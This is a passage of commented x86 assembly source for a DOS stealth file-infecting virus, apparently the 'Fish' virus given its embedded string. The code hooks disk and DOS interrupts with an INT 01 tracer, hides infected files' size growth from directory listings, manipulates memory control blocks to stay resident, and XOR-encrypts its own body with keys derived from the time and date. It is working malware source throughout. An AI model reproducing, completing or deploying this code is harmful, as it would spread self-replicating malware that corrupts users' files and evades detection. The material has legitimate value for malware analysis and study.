  1341.         mov    cx,1Ch
  1342.         sub    cx,di
  1343.         sub    cx,si
  1344.         mov    ah,3Fh
  1345.         mov    dx,cs:buf_adr        ; (cs:0EAD=0)
  1346.         call    sub_1            ; Call INT 21
  1347.         add    cs:buf_adr,ax        ; (cs:0EAD=0)
  1348.         sub    cs:data_83,ax        ; (cs:0EAF=0)
  1349.         add    cs:data_84,ax        ; (cs:0EB1=0)
  1350.         xor    cx,cx            ; Zero register
  1351.         mov    ax,4200h
  1352.         mov    dx,1Ch
  1353.         call    sub_1            ; Call INT 21
  1354.         jmp    loc_86            ; (0ACD)
  1355.  
  1356. sub_25:
  1357. loc_91:     and    cs:_null__,sp        ; (cs:0E31=0)
  1358.         jmp    loc_97            ; (0C97)
  1359.  
  1360. dos_4E_4F:    and    cs:data_85,0FFFEh    ; (cs:0EB3=0)
  1361.         call    sub_3            ; Pop flags and registers
  1362.         call    sub_1            ; Call INT 21
  1363.         call    sub_2            ; Push flags and registers
  1364.         jnc    loc_93            ; Jump if carry=0
  1365.         or    cs:data_85,1        ; (cs:0EB3=0)
  1366.         jmp    dos_0F            ; (0381)
  1367. loc_93:
  1368.         call    sub_14            ; (0515)
  1369.         test    byte ptr [bx+19h],80h
  1370.         jnz    loc_94            ; Jump if not zero
  1371.         jmp    dos_0F            ; (0381)
  1372. loc_94:
  1373.         sub    word ptr [bx+1Ah],0E00h
  1374.         sbb    word ptr [bx+1Ch],0
  1375.         sub    byte ptr [bx+19h],0C8h
  1376.         jmp    dos_0F            ; (0381)
  1377.  
  1378.         db    0EBh
  1379.  
  1380. sub_26:
  1381.         mov    es,old_DS        ; (cs:0E45=26Eh)
  1382.         push    es
  1383.         pop    ds
  1384.         dec    byte ptr ds:PSP_0003    ; (026E:0003=0)
  1385.         mov    dx,ds
  1386.         dec    dx
  1387.         mov    ds,dx
  1388.         mov    ax,ds:MCB_0003        ; (026D:0003=2020h)
  1389.         dec    ah
  1390.         add    dx,ax
  1391.         mov    ds:MCB_0003,ax        ; (026D:0003=2020h)
  1392.         pop    di
  1393.         inc    dx
  1394.         mov    es,dx
  1395.         push    cs
  1396.         pop    ds
  1397.         call    sub_29            ; (0C97)
  1398.         db    0A1h
  1399.         mov    si,all_len-2        ; (0FFE)
  1400.         mov    cx,all_len/2
  1401.         mov    di,si
  1402.         std                ; Set direction flag
  1403.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  1404.         cld                ; Clear direction
  1405.         push    es
  1406.         mov    ax,offset loc_4_1
  1407.         push    ax
  1408.         mov    es,cs:old_DS        ; (cs:0E45=26Eh)
  1409.         retf                ; Return far
  1410.  
  1411. sub_27:
  1412.         mov    byte ptr cs:err_flag,0    ; (cs:0EDA)
  1413.         call    sub_5            ; Push all in vir's stack
  1414.         push    cs
  1415.         call    sub_25            ; (0B57)
  1416.         db    088h
  1417.         mov    al,13h
  1418.         pop    ds
  1419.         call    sub_9            ; Get INT 13 vector
  1420.         mov    INT_13_prt+2,es     ; (cs:0E2F)
  1421.         mov    INT_13_prt,bx        ; (cs:0E2D)
  1422.         mov    word ptr old_I13+2,es    ; (cs:0E3B=140Bh)
  1423.         mov    dl,2
  1424.         mov    word ptr old_I13,bx    ; (cs:0E39=0)
  1425.         mov    byte ptr data_73,dl    ; (cs:0E50=0)
  1426.         call    sub_7            ; Set INT 01 to tracer
  1427.         mov    data_93,sp        ; (cs:0EDF)
  1428.         mov    data_92,ss        ; (cs:0EDD)
  1429.         push    cs
  1430.         mov    ax,offset loc_95    ; 0C29
  1431.         push    ax
  1432.         mov    ax,70h
  1433.         mov    cx,0FFFFh
  1434.         mov    es,ax
  1435.         xor    di,di            ; Zero register
  1436.         mov    al,0CBh         ; ret far opcode
  1437.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1438.         dec    di
  1439.         pushf
  1440.         push    es
  1441.         push    di
  1442.         pushf
  1443.         pop    ax
  1444.         or    ah,1            ; Set TF
  1445.         push    ax
  1446.         popf
  1447.         xor    ax,ax            ; Zero register
  1448.         jmp    dword ptr INT_13_prt    ; (cs:0E2D=0)
  1449. loc_95:
  1450.         push    cs
  1451.         pop    ds
  1452.         call    sub_29            ; (0C97)
  1453.         db    08Ch
  1454.         mov    al,13h
  1455.         mov    dx,offset INT_13
  1456.         call    sub_8            ; Set INT 13 vector
  1457.         mov    al,24h
  1458.         call    sub_9            ; Get INT 24 vector
  1459.         mov    word ptr old_I24,bx    ; (cs:0E3D)
  1460.         mov    dx,offset INT_24
  1461.         mov    al,24h
  1462.         mov    word ptr old_I24+2,es    ; (cs:0E3F)
  1463.         call    sub_8            ; Set INT 24 vector
  1464.         call    sub_4            ; Pop all from vir's stack
  1465.         retn
  1466.  
  1467. sub_28:
  1468.         call    sub_5            ; Push all in vir's stack
  1469.         lds    dx,cs:old_I13        ; (cs:0E39) Load 32 bit ptr
  1470.         mov    al,13h
  1471.         call    sub_8            ; Set INT 13 vector
  1472.         lds    dx,cs:old_I24        ; (cs:0E3D) Load 32 bit ptr
  1473.         mov    al,24h
  1474.         call    sub_8            ; Set INT 24 vector
  1475.         call    sub_4            ; Pop all from vir's stack
  1476.         retn
  1477.  
  1478. int_1:        push    bp
  1479.         mov    bp,sp
  1480.         and    word ptr [bp+6],0FEFFh
  1481.         inc    word ptr [bp+1Ah]
  1482.         pop    bp
  1483.         iret
  1484.  
  1485. loc_96:
  1486.         mov    cs:data_73,401h     ; (cs:0E50=0)
  1487.         call    sub_7            ; Set INT 01 to tracer
  1488.         call    sub_3            ; Pop flags and registers
  1489.         push    ax
  1490.         mov    ax,cs:data_85        ; (cs:0EB3=0)
  1491.         or    ax,100h
  1492.         push    ax
  1493.         popf
  1494.         pop    ax
  1495.         pop    bp
  1496.         jmp    dword ptr cs:INT_21_ptr ; (cs:0E35=0)
  1497.  
  1498.         db    089h
  1499.  
  1500. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1501. ;                   SUBROUTINE
  1502. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1503.  
  1504. sub_29        proc    near
  1505. loc_97:
  1506.         call    sub_2            ; Push flags and registers
  1507.         mov    al,1
  1508.         mov    dx,offset int_1
  1509.         push    cs
  1510.         pop    ds
  1511.         call    sub_8            ; Set INT 01 vector
  1512.         pushf
  1513.         pop    ax
  1514.         or    ax,100h
  1515.         push    ax
  1516.         popf
  1517.         inc    ax
  1518.         mul    ax            ; dx:ax = reg * ax
  1519.         aaa                ; Ascii adjust
  1520.         mov    _null__,ax        ; (cs:0E31=0)
  1521.         call    sub_3            ; Pop flags and registers
  1522.         retn
  1523. sub_29        endp
  1524.  
  1525.         db    0FFh
  1526.  
  1527. tracer:     push    bp
  1528.         mov    bp,sp
  1529.         push    ax
  1530.         cmp    word ptr [bp+4],0C000h
  1531.         jae    loc_99            ; Jump if above or =
  1532.         mov    ax,cs:data_69        ; (cs:0E47)
  1533.         cmp    [bp+4],ax        ; Is it DOS segment?
  1534.         jbe    loc_99            ; Jump if below or =
  1535. loc_98:     pop    ax
  1536.         pop    bp
  1537.         iret
  1538. loc_99:
  1539.         cmp    byte ptr cs:data_73,1    ; (cs:0E50=0)
  1540.         je    loc_101         ; Jump if equal
  1541.         mov    ax,[bp+4]
  1542.         mov    cs:INT_13_prt+2,ax    ; (cs:0E2F=SEGMENT)
  1543.         mov    ax,[bp+2]
  1544.         mov    cs:INT_13_prt,ax    ; (cs:0E2D=OFFSET)
  1545.         jb    loc_100         ; Jump if below
  1546.         pop    ax
  1547.         pop    bp
  1548.         mov    sp,cs:data_93        ; (cs:0EDF=0)
  1549.         mov    ss,cs:data_92        ; (cs:0EDD=151Ch)
  1550.         jmp    loc_95            ; (0C29)
  1551. loc_100:
  1552.         and    word ptr [bp+6],0FEFFh
  1553.         jmp    short loc_98        ; (0CCB)
  1554. loc_101:
  1555.         dec    byte ptr cs:data_73+1    ; (cs:0E51)
  1556.         jnz    loc_98
  1557.         and    word ptr [bp+6],0FEFFh    ; Stop tracing
  1558.         call    sub_5            ; Push all in vir's stack
  1559.         call    sub_2            ; Push flags and registers
  1560.         mov    ah,2Ch            ; Get current time
  1561.         call    sub_1            ; Call INT 21
  1562.         mov    byte ptr cs:[locloop_102+3],dl    ; (cs:0D51=5Dh)
  1563.         mov    byte ptr cs:[locloop_103+3],dl    ; (cs:0D6E=5Dh)
  1564.         sub    ah,2            ; ah=2A - Get current date
  1565.         call    sub_1            ; Call INT 21
  1566.         add    dh,dl
  1567.         mov    byte ptr cs:[locloop_105+3],dh    ; (cs:0D84=15h)
  1568.         mov    byte ptr cs:[locloop_109+3],dh    ; (cs:0DDC=15h)
  1569.         mov    al,3
  1570.         call    sub_9            ; Get INT 03 vector
  1571.         push    es
  1572.         pop    ds
  1573.         mov    dx,bx
  1574.         mov    al,1
  1575.         call    sub_8            ; Set INT 01 vector
  1576.         call    sub_3            ; Pop flags and registers
  1577.         call    sub_6            ; Swap JMP xxxx:xxxx
  1578.         call    sub_4            ; Pop all from vir's stack
  1579.         push    bx
  1580.         push    cx
  1581.         mov    bx,offset data_311    ; (cs:0028=0)
  1582.         mov    cx,287h
  1583. locloop_102:    xor    byte ptr cs:[bx],5Dh
  1584.         add    bx,5
  1585.         loop    locloop_102        ; Loop if cx > 0
  1586.         pop    cx
  1587.         pop    bx
  1588.         jmp    short loc_100        ; (0CF5)
  1589.  
  1590. loc_1021:    or    byte ptr cs:data_311,0    ; (cs:0028=0)
  1591.         jz    loc_104         ; Jump if zero
  1592.         push    bx
  1593.         push    cx
  1594.         mov    bx,offset data_311    ; (cs:0028=0)
  1595.         mov    cx,287h
  1596. locloop_103:    xor    byte ptr cs:[bx],5Dh
  1597.         add    bx,5
  1598.         loop    locloop_103        ; Loop if cx > 0
  1599.         pop    cx
  1600.         pop    bx
  1601. loc_104:    jmp    loc_9            ; (026C)
  1602.  
  1603.  
  1604. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1605. ;                   SUBROUTINE
  1606. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1607.  
  1608. sub_30        proc    near
  1609.         push    cx
  1610.         push    bx
  1611.         mov    bx,offset data_311    ; (cs:0028=0)
  1612.         mov    cx,encr_len
  1613. locloop_105:    xor    byte ptr cs:[bx],15h
  1614.         inc    bx
  1615.         loop    locloop_105        ; Loop if cx > 0
  1616.         pop    bx
  1617.         pop    cx
  1618.         call    sub_1            ; Call INT 21
  1619.         jmp    short virus_entry    ; (0DCE)
  1620. sub_30        endp
  1621.  
  1622.         db    0BAh
  1623.  
  1624. INT_13:
  1625.         pop    cs:usr_adr        ; (cs:0E41=0)
  1626.         pop    word ptr cs:usr_adr+2    ; (cs:0E43=0)
  1627.         pop    cs:data_91        ; (cs:0EDB=0)
  1628.         and    cs:data_91,0FFFEh    ; (cs:0EDB=0)
  1629.         cmp    byte ptr cs:err_flag,0    ; (cs:0EDA=0)
  1630.         jne    loc_106
  1631.         push    cs:data_91        ; (cs:0EDB=0)
  1632.         call    dword ptr cs:INT_13_prt ; (cs:0E2D=0)
  1633.         jnc    loc_107
  1634.         inc    cs:err_flag        ; (cs:0EDA=0)
  1635. loc_106:    stc                ; Set carry flag
  1636. loc_107:    jmp    dword ptr cs:usr_adr    ; (cs:0E41=0)
  1637.  
  1638.         db    089h
  1639.  
  1640. INT_24:     xor    al,al
  1641.         mov    byte ptr cs:err_flag,1    ; (cs:0EDA=0)
  1642.         iret
  1643.  
  1644. virus_entry:    call    sub_31            ; (0DD1)
  1645. sub_31:     pop    bx
  1646.         sub    bx,sub_31-data_311
  1647.         mov    cx,encr_len
  1648. locloop_109:    xor    byte ptr cs:[bx],15h
  1649.         inc    bx
  1650.         loop    locloop_109        ; Loop if cx > 0
  1651.         dec    byte ptr cs:data_33e[bx]    ; (cs:00B3+BX) = cs:0E33
  1652.         jz    loc_ret_110        ; terminate program and don't run the virus ???
  1653.         jmp    loc_7            ; (024A)
  1654. loc_ret_110:    retn
  1655.  
  1656.         db    ' FISH FISH FISH FISH '
  1657. vir_end:
  1658.  
  1659.         org    0E00h
  1660.  
  1661. buffer        dw    ?
  1662. data_41     dw    ?
  1663. data_43     dw    ?, ?
  1664. data_44     dw    ?
  1665. data_45     dw    ?
  1666. data_46     dw    ?
  1667. data_47     dw    ?
  1668. data_48     dw    ?, ?
  1669. data_49     dw    ?
  1670. data_50     dw    ?
  1671.         dw    6 dup (?)
  1672. data_51     dw    ?, ?
  1673. drive_num    db    ?
  1674. data_54     dw    ?
  1675. file_date    dw    ?
  1676. INT_13_prt    dw    ?, ?
  1677. _null__     dw    ?
  1678. data_59     db    ?, ?
  1679. INT_21_ptr    dd    ?
  1680. old_I13     dd    ?
  1681. old_I24     dd    ?
  1682. usr_adr     dw    ?, ?
  1683. old_DS        dw    ?
  1684. data_69     dw    ?
  1685.         dw    ?
  1686. data_70     db    ?
  1687. data_71     dw    ?
  1688. data_72     dw    ?
  1689. data_73     dw    ?
  1690. file_name    db    80 dup (?)
  1691. data_76     db    ?
  1692. data_77     dw    ?
  1693. file_pos    dw    ?, ?
  1694. file_pos1    dw    ?, ?
  1695. buf_adr     dw    ?
  1696. data_83     dw    ?
  1697. data_84     dw    ?
  1698. data_85     dw    ?
  1699. data_86     db    14 dup (?)
  1700. data_87     dw    ?
  1701. data_88     dd    ?
  1702.         db    ?
  1703. data_89     db    16 dup (?)
  1704. err_flag    db    ?
  1705. data_91     dw    ?
  1706. data_92     dw    ?
  1707. data_93     dw    ?, ?
  1708. old_AX        dw    ?
  1709.         db    ?
  1710. data_95     dw    ?
  1711. data_96     dw    ?
  1712. tmp_adr     dw    ?
  1713. data_98     dw    ?
  1714.         db    ?
  1715. data_99     db    ?
  1716. data_100    db    ?
  1717. data_101    db    ?
  1718. file_attr    dw    ?
  1719. data_103    dw    ?
  1720. data_104    dw    ?
  1721.         db    7 dup(?)
  1722. data_105    dw    ?
  1723. data_106    dw    ?
  1724. data_107    dd    ?
  1725. data_109    db    80 dup (?)
  1726. old_SP        dw    ?
  1727. old_SS        dw    ?
  1728. virus_SP    dw    ?
  1729.  
  1730. seg_a        ends
  1731.  
  1732.         end
  1733.